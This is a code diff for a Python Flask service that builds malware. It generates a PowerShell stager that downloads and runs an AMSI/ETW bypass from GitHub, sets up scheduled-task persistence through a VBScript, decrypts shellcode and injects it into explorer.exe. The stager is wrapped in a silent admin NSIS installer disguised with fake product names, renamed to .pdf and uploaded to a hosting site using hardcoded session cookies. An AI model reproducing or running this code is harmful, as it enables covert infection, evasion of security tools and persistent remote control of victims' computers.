Update main.py

main.py

@@ -1,368 +1,365 @@
-from flask import Flask, send_file, jsonify
 import os
 import subprocess
-import json
 import random
+import string
 from datetime import datetime
-from pathlib import Path
-from threading import Thread
+from flask import jsonify, send_file, current_app
 import shutil
-
-app = Flask(__name__)
-
-# Configuration
+import tempfile
+import requests
+import json
+#https://ambelo-benjamin.hf.space/upload
 BASE_DIR = os.path.abspath(os.path.dirname(__file__))
 UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
 COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
-STATS_FILE = "download_stats.json"
 NSIS_COMPILER = "makensis"
-os.makedirs(UPLOAD_FOLDER, exist_ok=True)
-os.makedirs(COMPILE_FOLDER, exist_ok=True)
-
-# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
-NSIS_SCRIPT_TEMPLATE = r"""
-;NSIS Modern User Interface
-;Basic Example Script
-;Written by Joost Verburg
-
-;--------------------------------
-;Include Modern UI
-
-  !include "MUI2.nsh"
-
-;--------------------------------
-;General
-
-  ;Name and file
-  Name "Modern UI Test"
-  OutFile "Basic.exe"
-  Unicode True
-
-  ;Default installation folder
-  InstallDir "$LOCALAPPDATA\Modern UI Test"
-  
-  ;Get installation folder from registry if available
-  InstallDirRegKey HKCU "Software\Modern UI Test" ""
-
-  ;Request application privileges for Windows Vista
-  RequestExecutionLevel user
-
-;--------------------------------
-;Interface Settings
-
-  !define MUI_ABORTWARNING
-
-;--------------------------------
-;Pages
-
-  ; !insertmacro MUI_PAGE_LICENSE "${NSISDIR}\Docs\Modern UI\License.txt"
-  !insertmacro MUI_PAGE_COMPONENTS
-  !insertmacro MUI_PAGE_DIRECTORY
-  !insertmacro MUI_PAGE_INSTFILES
-  
-  !insertmacro MUI_UNPAGE_CONFIRM
-  !insertmacro MUI_UNPAGE_INSTFILES
-  
-;--------------------------------
-;Languages
- 
-  !insertmacro MUI_LANGUAGE "English"
-
-;--------------------------------
-;Installer Sections
-
-Section "Dummy Section" SecDummy
-
-  SetOutPath "$INSTDIR"
-  
-  ;ADD YOUR OWN FILES HERE...
-  
-  ;Store installation folder
-  WriteRegStr HKCU "Software\Modern UI Test" "" $INSTDIR
-  
-  ;Create uninstaller
-  WriteUninstaller "$INSTDIR\Uninstall.exe"
-
-SectionEnd
-
-;--------------------------------
-;Descriptions
-
-  ;Language strings
-  LangString DESC_SecDummy ${LANG_ENGLISH} "A test section."
-
-  ;Assign language strings to sections
-  !insertmacro MUI_FUNCTION_DESCRIPTION_BEGIN
-    !insertmacro MUI_DESCRIPTION_TEXT ${SecDummy} $(DESC_SecDummy)
-  !insertmacro MUI_FUNCTION_DESCRIPTION_END
-
-;--------------------------------
-;Uninstaller Section
-
-Section "Uninstall"
-
-  ;ADD YOUR OWN FILES HERE...
-
-  Delete "$INSTDIR\Uninstall.exe"
-
-  RMDir "$INSTDIR"
-
-  DeleteRegKey /ifempty HKCU "Software\Modern UI Test"
-
-SectionEnd
-"""
-
-# Greatly expanded version details dictionary
-VERSION_DETAILS = {
-    "ProductName": [
-        "Gametoy Health Center", "Omega Insight Pro", "Visionary Game System", "TechMatrix Suite Premium",
-        "Nebula Installer Plus", "GameForge Studio", "Digital Nexus Hub", "CyberPulse Platform",
-        "VirtualCore Manager", "GameStream Elite", "OmegaForge Professional", "TechVision Suite",
-        "GameMatrix Central", "CloudPulse Gaming", "NexusCore Platform", "GameWave Professional",
-        "Cyber Matrix Hub", "VisionForge Elite", "PulseTech Gaming", "StreamCore Professional",
-        "TechPro Suite", "GameCore Elite", "CloudMatrix Enterprise", "VisionWave Platform",
-        "PulseForge Studio", "NexusWave Pro", "CyberCore Premium", "GamePulse Advanced",
-        "TechStream Ultimate", "OmegaCore Enterprise"
-    ],
-    "CompanyName": [
-        "Game Health Systems Inc.", "TechWave Innovations Ltd.", "Omega Systems International",
-        "Visionary Game Corporation", "Nebula Technologies Group", "GameForge Solutions",
-        "Digital Nexus Corporation", "CyberPulse Technologies", "VirtualCore Solutions",
-        "GameStream Enterprises", "OmegaForge Technologies", "TechVision Innovations",
-        "GameMatrix Solutions", "CloudPulse Interactive", "NexusCore Technologies",
-        "GameWave Digital", "CyberMatrix Solutions", "VisionForge Systems",
-        "PulseTech Interactive", "StreamCore Solutions", "TechPro Enterprises",
-        "GameCore Solutions Ltd.", "CloudMatrix Systems", "VisionWave Technologies",
-        "PulseForge Interactive", "NexusWave Digital", "CyberCore Solutions",
-        "GamePulse Technologies", "TechStream Systems", "OmegaCore Industries"
-    ],
-    "LegalCopyright": [
-        "Copyright © 2024 Gametoy Innovations - All Rights Reserved",
-        "Copyright © 2024 Visionary Game Co. - Professional Edition",
-        "Copyright © 2024 Omega Systems - Enterprise License",
-        "Copyright © 2024 TechWave - Premium License",
-        "Copyright © 2024 Nebula Technologies - Commercial Use",
-        "Copyright © 2024 GameForge Solutions - Professional License",
-        "Copyright © 2024 Digital Nexus - Enterprise Edition",
-        "Copyright © 2024 CyberPulse - Commercial License",
-        "Copyright © 2024 VirtualCore - Premium Edition",
-        "Copyright © 2024 GameStream - Professional Use",
-        "Copyright © 2024 TechPro - Enterprise License",
-        "Copyright © 2024 GameCore - Commercial Edition",
-        "Copyright © 2024 CloudMatrix - Professional License",
-        "Copyright © 2024 VisionWave - Premium Use",
-        "Copyright © 2024 PulseForge - Enterprise Edition"
-    ],
-    "FileDescription": [
-        "Professional Gaming Platform Installer", "Advanced Game Management System",
-        "Enterprise Gaming Solution Suite", "Premium Game Development Tools",
-        "Professional Game Analytics Platform", "Advanced Gaming Framework",
-        "Enterprise Development Environment", "Professional Gaming SDK",
-        "Advanced Game Publishing Tools", "Premium Gaming Platform",
-        "Professional Development Suite", "Enterprise Gaming Framework",
-        "Advanced Game Management Tools", "Premium Development Platform",
-        "Professional Gaming Environment", "Enterprise Solution Suite",
-        "Advanced Development Framework", "Premium Management System",
-        "Professional Analytics Platform", "Enterprise Gaming Tools"
-    ]
+OBFUSCATOR_SCRIPT = "Obfus\\main.ps1"
+
+SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send"
+HEADERS = {
+    "Host": "chiselapp.com",
+    "Connection": "keep-alive",
+    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr",
+    "sec-ch-ua-platform": '"Windows"',
+    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
+    "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
+    "sec-ch-ua-mobile": "?0",
+    "Accept": "*/*",
+    "Origin": "https://chiselapp.com",
+    "Sec-Fetch-Site": "same-origin",
+    "Sec-Fetch-Mode": "cors",
+    "Sec-Fetch-Dest": "empty",
+    "Referer": "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat",
+    "Accept-Encoding": "gzip, deflate, br, zstd",
+    "Accept-Language": "en-US,en;q=0.9,hi;q=0.8",
+    "Cookie": "fossil-9889a3796fb4c84c=0F6BFEC5A6792BA30BBCFC1F12F0E31772D58BD8F0B1CAE22E%2F9889a3796fb4c84c%2Fyolovi5126; PHPSESSID=7onhpb9ebdpja4nd20ulce9b63"
 }
 
-def generate_product_version():
-    """
-    Generates a realistic product version number with the format major.minor.patch.build
-    Major: 1-5
-    Minor: 0-15
-    Patch: 0-99
-    Build: 1000-9999
-    """
-    major = random.randint(1, 5)
-    minor = random.randint(0, 15)
-    patch = random.randint(0, 99)
-    build = random.randint(1000, 9999)
-    return f"{major}.{minor}.{patch}.{build}"
+def generate_random_string(length=8):
+    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
 
-def generate_file_version():
-    """
-    Generates a unique file version with format major.minor.build.revision
-    """
-    versions = []
-    for _ in range(30):  # Increased to 30 versions
-        major = random.randint(1, 10)
-        minor = random.randint(0, 99)
-        build = random.randint(100, 999)
-        revision = random.randint(0, 99999)
-        versions.append(f"{major}.{minor}.{build}.{revision}")
-    return versions
-
-# Add generated file versions to VERSION_DETAILS
-VERSION_DETAILS["FileVersion"] = generate_file_version()
-
-def generate_random_version_details():
-    """Generates random meaningful version details for each build."""
-    return {
-        "ProductName": random.choice(VERSION_DETAILS["ProductName"]),
-        "CompanyName": random.choice(VERSION_DETAILS["CompanyName"]),
-        "LegalCopyright": random.choice(VERSION_DETAILS["LegalCopyright"]),
-        "FileVersion": random.choice(VERSION_DETAILS["FileVersion"]),
-        "ProductVersion": generate_product_version(),
-        "FileDescription": random.choice(VERSION_DETAILS["FileDescription"]),
-    }
-
-def generate_nsi_script():
-    """Generates the NSI script with random version details and two different random executables."""
+def obfuscate_powershell_script(ps1_path):
+    try:
+        cmd = f'powershell -EP Bypass -f "{OBFUSCATOR_SCRIPT}"'
+        process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+        process.stdin.write(f"{ps1_path}\n")
+        process.stdin.flush()
+        stdout, stderr = process.communicate()
+        if process.returncode != 0:
+            raise Exception(f"Error obfuscating PowerShell script: {stderr}")
+        obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
+        return obfuscated_file
+    except Exception as e:
+        raise Exception(f"Obfuscation failed: {str(e)}")
+
+def generate_nsi_script(folder_path, bin_file, ps1_file):
     timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
-    installer_output = os.path.join(UPLOAD_FOLDER, f"setup_{timestamp}.exe")
+    installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
+
+    # NSIS script template
+    NSIS_SCRIPT_TEMPLATE = r"""
+    ; NeuraScope Insight Installer Script
+    !include "MUI2.nsh"
+    !include "LogicLib.nsh"
+    ; Basic definitions
+    Name "ProductName"
+    OutFile "{installer_output}"
+    InstallDir "$WINDIR\..\ProgramData\Installer"
+    RequestExecutionLevel admin
+    SetCompressor /SOLID lzma
+    SetCompressorDictSize 96
+    SetDatablockOptimize ON
+    ; Interface settings
+    !define MUI_ICON "C:\Users\Albert\Downloads\app.ico"
+    !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
+    !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
+    ; Pages
+    !insertmacro MUI_PAGE_WELCOME
+    !insertmacro MUI_PAGE_INSTFILES
+    !insertmacro MUI_LANGUAGE "English"
+    ; Basic Version Information
+    VIProductVersion "1.0.0.0"
+    VIAddVersionKey "ProductName" "ProductName"
+    VIAddVersionKey "CompanyName" "CompanyName"
+    VIAddVersionKey "LegalCopyright" "LegalCopyright"
+    VIAddVersionKey "FileVersion" "1.0.0.0"
+    VIAddVersionKey "FileDescription" "FileDescription"
+    ShowInstDetails hide
+    AutoCloseWindow true
+    Section "MainSection" SEC01
+        SetDetailsPrint none
+        SetOutPath "$WINDIR\..\ProgramData\Installer"
+        File "{bin_file}"
+        File "{ps1_file}"
+        ExecShell "" "$WINDIR\..\ProgramData\Installer\\Verification.ps1" SW_HIDE
+        SetAutoClose true
+    SectionEnd
+    """
     
-    if not os.access(UPLOAD_FOLDER, os.W_OK):
-        raise PermissionError(f"Cannot write to the directory {UPLOAD_FOLDER}")
-
-    # Generate version details
-    version_details = generate_random_version_details()
-
-    # Choose random .exe files from the Programs folder
-    programs_folder = "/files/programs"
-    exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
+    script_content = NSIS_SCRIPT_TEMPLATE.format(
+        installer_output=installer_output,
+        bin_file=bin_file,
+        ps1_file=ps1_file,
+    )
     
-    # Check if there are enough .exe files
-    if len(exe_files) < 2:
-        raise FileNotFoundError(f"Not enough .exe files found in the folder {programs_folder}")
-
-    # Select two different executable files
-    random_exe_1 = random.choice(exe_files)
-    exe_files.remove(random_exe_1)  # Remove the first selected .exe
-    random_exe_2 = random.choice(exe_files)
-
-    random_exe_1_path = os.path.join(programs_folder, random_exe_1)
-    random_exe_2_path = os.path.join(programs_folder, random_exe_2)
-
-    # Replace all placeholders in the template
-    nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
-    nsi_content = nsi_content.replace("${NSISDIR}", "${NSISDIR}")
-
-    # Replace version details
-    for key, value in version_details.items():
-        nsi_content = nsi_content.replace(f"{{{{{key}}}}}", value)
-
-    # Replace the placeholders for the random executable files
-    nsi_content = nsi_content.replace('{{random_program}}', random_exe_1_path, 1)
-    nsi_content = nsi_content.replace('{{random_program}}', random_exe_2_path, 1)
-
-    # Save the script
     nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
-    with open(nsi_file_path, 'w') as nsi_file:
-        nsi_file.write(nsi_content)
-
+    with open(nsi_file_path, 'w') as file:
+        file.write(script_content)
+    
     return nsi_file_path, installer_output
 
-def cleanup_folders():
-    """Clean up both compile and upload folders"""
-    for folder in [COMPILE_FOLDER, UPLOAD_FOLDER]:
-        for file in os.listdir(folder):
-            file_path = os.path.join(folder, file)
-            try:
-                if os.path.isfile(file_path):
-                    os.unlink(file_path)
-                elif os.path.isdir(file_path):
-                    shutil.rmtree(file_path)
-            except Exception as e:
-                print(f"Error: {e}")
-
-def load_stats():
-    """Load download statistics from file"""
-    if os.path.exists(STATS_FILE):
-        with open(STATS_FILE, 'r') as f:
-            return json.load(f)
-    return {"downloads": 0, "last_download": None}
-
-def save_stats(stats):
-    """Save download statistics to file"""
-    with open(STATS_FILE, 'w') as f:
-        json.dump(stats, f)
-
 def compile_nsi_script(nsi_file_path):
-    """Compile the NSI script using NSIS compiler"""
     try:
-        # Use just the command name instead of full path
         compile_cmd = [NSIS_COMPILER, nsi_file_path]
         compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
         if compile_result.returncode != 0:
-            print(f"NSIS Compile Error: {compile_result.stderr}")
-            return None
+            raise Exception(f"NSIS Compile Error: {compile_result.stderr}")
         return compile_result
     except subprocess.CalledProcessError as e:
-        print(f"Compilation failed: {str(e)}")
-        return None
+        raise Exception(f"Compilation failed: {str(e)}")
     except Exception as e:
-        print(f"Unexpected error during compilation: {str(e)}")
-        return None
-
-def get_current_installer():
-    """Get the path of the most recent installer"""
-    files = list(Path(UPLOAD_FOLDER).glob('*.exe'))
-    if not files:
-        return None
-    return str(max(files, key=os.path.getctime))
-
-def generate_and_compile_new():
-    """Generate and compile a new installer"""
-    nsi_file_path, installer_output = generate_nsi_script()
-    compile_nsi_script(nsi_file_path)
-
-@app.route('/download/cnVuLmNtZA==')
-def download_file():
-    """Handle file download requests"""
-    stats = load_stats()
-
-    file_path = get_current_installer()
-    if not file_path:
-        nsi_file_path, installer_output = generate_nsi_script()
-        compile_nsi_script(nsi_file_path)
-        file_path = installer_output
+        raise Exception(f"Unexpected error during compilation: {str(e)}")
 
-    if not os.path.exists(file_path):
-        return "Installer file not found", 404
-    
-    response = send_file(file_path, as_attachment=True)
+def upload_file_to_server(file_path):
+    try:
+        # Rename the file to have a .pdf extension
+        new_file_path = file_path.replace('.exe', '.pdf')
+        os.rename(file_path, new_file_path)
+
+        # Ensure the file exists
+        if not os.path.exists(new_file_path):
+            raise FileNotFoundError(f"File {new_file_path} not found.")
+
+        # Prepare the file and data for upload
+        file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')}
+            # Additional form data
+        data = {
+            'lmtime': '2024-12-31T18:33:58'
+        }
+
+        # Send the POST request with file and form data
+        response = requests.post(SERVER_URL, headers=HEADERS, files=file, data=data)
+
+        # Check the response
+        if response.status_code == 200:
+            # Assuming the response contains the URL with the ID
+            json_file = 'file_info.json'
+
+            # Check if the file_info.json exists
+            if os.path.exists(json_file):
+                with open(json_file, 'r') as f:
+                    file_info = json.load(f)
+            else:
+                file_info = {}
+
+            # Initialize or increment the init_ID (last_id)
+            if 'init_ID' not in file_info:
+                file_info['init_ID'] = 1  # Start with ID 1 if not present
+            else:
+                file_info['init_ID'] += 1  # Increment the ID for the next upload
+
+            # Get the current ID to be used for the next upload
+            current_id = file_info['init_ID']
+
+            # Generate the download URL for the uploaded file using the current ID
+            download_url = f"https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-download/{current_id}/{os.path.basename(new_file_path)}"
+
+            # Update the JSON with the new entry for this upload
+            file_info[current_id] = {
+                'file_name': os.path.basename(new_file_path),
+                'url': download_url
+            }
+
+            # Write the updated file_info to the JSON file
+            with open(json_file, 'w') as f:
+                json.dump(file_info, f, indent=4)
+
+            return download_url
+        else:
+            raise Exception(f"Failed to send request. Status Code: {response.status_code}\n{response.text}")
+    except Exception as e:
+        raise Exception(f"File upload failed: {str(e)}")
 
-    def after_request(response):
-        stats['downloads'] += 1
-        stats['last_download'] = datetime.now().isoformat()
-        save_stats(stats)
+def process_request(request):
+    temp_dir = None  # Initialize temp_dir to be used in the finally block
+    try:
+        # Save the incoming binary file
+        if 'file' not in request.files:
+            raise ValueError("No file part in the request")
+        
+        file = request.files['file']
+        if file.filename == '':
+            raise ValueError("No selected file")
+
+        random_folder = generate_random_string()
+        temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER)
+        bin_path = os.path.join(temp_dir, file.filename)
+        file.save(bin_path)
+
+        # Extract the file name from the full binary path
+        bin_file_name = os.path.basename(bin_path)
+
+        # Create the PowerShell script with the provided content
+        ps1_content = f'''
+# Download and execute the script from the provided URL
+iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/Null-AMSI/refs/heads/main/Invoke-NullAMSI.ps1)
+
+# Run the Invoke-NullAMSI command
+Invoke-NullAMSI
+
+Invoke-NullAMSI -etw
+
+# Define the content of the VBScript
+$vbsContent = @'
+Set objShell = CreateObject("WScript.Shell")
+objShell.Run "powershell -EP Bypass -File \\"C:\\ProgramData\\Installer\\Verification.ps1\\"", 0, True
+'@
+
+# Define the file path for the .vbs file in the desired location
+$vbsFilePath = "C:\\ProgramData\\Installer\\0.vbs"
+
+# Write the content to the .vbs file
+$vbsContent | Set-Content -Path $vbsFilePath -Encoding ASCII
+
+Write-Host "VBScript file created at: $vbsFilePath"
+
+$Action = New-ScheduledTaskAction -Execute "C:\\ProgramData\\Installer\\0.vbs"
+$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
+Register-ScheduledTask -TaskName "HiPPo Setting" -Action $Action -Trigger $Trigger -Force
+
+# Define a fixed 16-byte key for encryption (fixed key as "MyFixedEncryptionKey")
+$keyBytes = [System.Text.Encoding]::UTF8.GetBytes("MyFixedEncryptionKey")
+
+# Ensure the key length is 16 bytes (AES requires 16, 24, or 32 bytes)
+if ($keyBytes.Length -gt 16) {{
+    $keyBytes = $keyBytes[0..15]  # Trim the key to 16 bytes if it's longer
+}}
+elseif ($keyBytes.Length -lt 16) {{
+    # If the key is too short, pad it with zeros to make it 16 bytes
+    $keyBytes = $keyBytes + (New-Object Byte[] (16 - $keyBytes.Length))
+}}
+
+# Function to download the encrypted binary from the server
+function Download-EncryptedShellcode {{
+    param([string]$url)
+    # Download the encrypted binary file directly into memory as a byte array
+    $response = Invoke-WebRequest -Uri $url -UseBasicParsing
+    return $response.Content
+}}
+
+# Read the encrypted shellcode from a local binary file
+$encryptedBuf = [System.IO.File]::ReadAllBytes("C:\\ProgramData\\Installer\\{bin_file_name}")
+
+# Create an AES encryption object
+$aes = [System.Security.Cryptography.Aes]::Create()
+
+# Set the decryption key and initialization vector (IV)
+$aes.Key = $keyBytes
+$aes.IV = $keyBytes[0..15]  # Use the first 16 bytes of the key for the IV
+
+# Create a memory stream to hold the decrypted data
+$memoryStream = New-Object System.IO.MemoryStream
+$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
+
+# Decrypt the encrypted data into the memory stream
+$cryptoStream.Write($encryptedBuf, 0, $encryptedBuf.Length)
+$cryptoStream.Close()
+
+# Get the decrypted shellcode
+$buf = $memoryStream.ToArray()
+
+# Anti-debugging mechanism
+function IsDebuggerPresent {{
+    $IsDebuggerPresentCode = @"
+    using System;
+    using System.Runtime.InteropServices;
+
+    public class DebugHelper {{
+        [DllImport(\\"kernel32.dll\\")]
+        public static extern bool IsDebuggerPresent();
+    }}
+"@
+    $debugHelper = Add-Type -TypeDefinition $IsDebuggerPresentCode -PassThru
+    return $debugHelper::IsDebuggerPresent()
+}}
+
+if (IsDebuggerPresent) {{
+    Write-Host "Debugger detected. Exiting."
+    exit
+}}
+
+# Inject shellcode into a target process (example: explorer.exe)
+$Win32APICode = @"
+using System;
+using System.Runtime.InteropServices;
+
+public class Win32API {{
+    [DllImport(\\"kernel32.dll\\", SetLastError = true, ExactSpelling = true)]
+    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+
+    [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
+
+    [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
+
+    [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
+
+    [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+    [return: MarshalAs(UnmanagedType.Bool)]
+    public static extern bool CloseHandle(IntPtr hObject);
+}}
+"@
+$win32api = Add-Type -TypeDefinition $Win32APICode -PassThru
+
+# Target process (explorer.exe) injection
+$targetProcess = Get-Process explorer | Select-Object -First 1
+$processHandle = $win32api::OpenProcess(0x1F0FFF, $false, $targetProcess.Id)
+
+# Allocate memory in the target process
+$size = 0x1000
+if ($buf.Length -gt $size) {{ $size = $buf.Length }}
+$remoteMemory = $win32api::VirtualAllocEx($processHandle, [IntPtr]::Zero, $size, 0x3000, 0x40)
+
+# Write the shellcode into the allocated memory
+$bytesWritten = [IntPtr]::Zero
+$win32api::WriteProcessMemory($processHandle, $remoteMemory, $buf, $buf.Length, [ref]$bytesWritten)
+
+# Create a remote thread to execute the shellcode
+$threadId = [IntPtr]::Zero
+$win32api::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $remoteMemory, [IntPtr]::Zero, 0, [ref]$threadId)
+
+# Close the process handle
+$win32api::CloseHandle($processHandle)
+
+Write-Host "Shellcode injection completed successfully."
+'''
+        ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
+        with open(ps1_path, 'w') as ps1_file:
+            ps1_file.write(ps1_content)
+
+        # Obfuscate the PowerShell script
+        obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
+
+        # Rename the obfuscated file to Verification.ps1
+        verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
+        os.rename(obfuscated_ps1_path, verification_ps1_path)
+
+        # Generate and compile the NSIS script
+        nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
+        compile_nsi_script(nsi_file_path)
 
-        cleanup_folders()
-        Thread(target=lambda: generate_and_compile_new()).start()
-        return response
-    
-    return after_request(response)
-
-@app.route('/show')
-def show_stats():
-    """Show download statistics"""
-    stats = load_stats()
-    return jsonify({
-        "total_downloads": stats['downloads'],
-        "last_download": stats['last_download']
-    })
-
-@app.route('/')
-def home():
-    """Home page with links to available endpoints"""
-    return """
-    <h1>File Compiler Service</h1>
-    <ul>
-        <li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled installer</li>
-        <li><a href="/show">/show</a> - View download statistics</li>
-    </ul>
-    """
+        # Upload the resulting EXE file (renamed to PDF) to the server
+        download_url = upload_file_to_server(installer_output)
 
-if __name__ == '__main__':
-    # Clean up on startup
-    cleanup_folders()
-    
-    # Compile initial installer
-    print("Creating initial installer...")
-    nsi_file_path, installer_output = generate_nsi_script()
-    compile_nsi_script(nsi_file_path)
-    
-    # Start the Flask application
-    app.run(debug=True, host='0.0.0.0', port=7860)
+        # Return the download URL in the response
+        return jsonify({"download_url": download_url})
+
+    except Exception as e:
+        current_app.logger.error(f"An error occurred: {str(e)}")
+        return jsonify({"error": str(e)}), 500
+    finally:
+        # Clean up temporary directories and files
+        if temp_dir and os.path.exists(temp_dir):
+            shutil.rmtree(temp_dir, ignore_errors=True)